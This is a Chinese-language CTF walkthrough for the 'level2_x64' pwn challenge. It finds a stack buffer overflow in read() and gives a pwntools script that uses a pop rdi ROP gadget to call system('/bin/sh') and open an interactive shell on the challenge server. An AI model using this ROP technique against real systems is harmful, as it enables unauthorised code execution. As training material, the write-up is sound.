1.例行检查保护机制
只开启了堆保护
2.我们用64位的IDA查看该文件
shift+f12查看关键字符串,我们看到关键字符串“/bin/sh”
我们双击“/bin/sh”,bin/sh的地址为:0x0600A90
3.查看main函数里面的内容
进入vulnerable_function()函数
我们看到buf只有0x80个字节,但是下面read()里面读取了0x200个,这里造成了溢出
4.system("/bin/sh")才能拿到权限
我们找到了“/bin/sh”
所以我们现在来找system
双击_system
我们发现system在plt里面,system地址为:0x04004C0
5.EXP
#encoding = utf-8
from pwn import *
context(os = 'linux', arch = 'amd64',log_level = 'debug')
content = 0
def main():
if content == 1:
p = process('level2_x64')
else:
p = remote('node4.buuoj.cn',25149)
#.data:0000000000600A90 hint db '/bin/sh',0
bin_addr = 0x0600A90
#.plt:00000000004004C0 _system
system_addr = 0x04004C0
#0x00000000004006b3 : pop rdi ; ret
pop_rdi_addr = 0x04006b3
payload = b'a' * (0x80+0x8) + p64(pop_rdi_addr) + p64(bin_addr) + p64(system_addr)
p.recvuntil("Input:")
p.sendline(payload)
p.interactive()
main()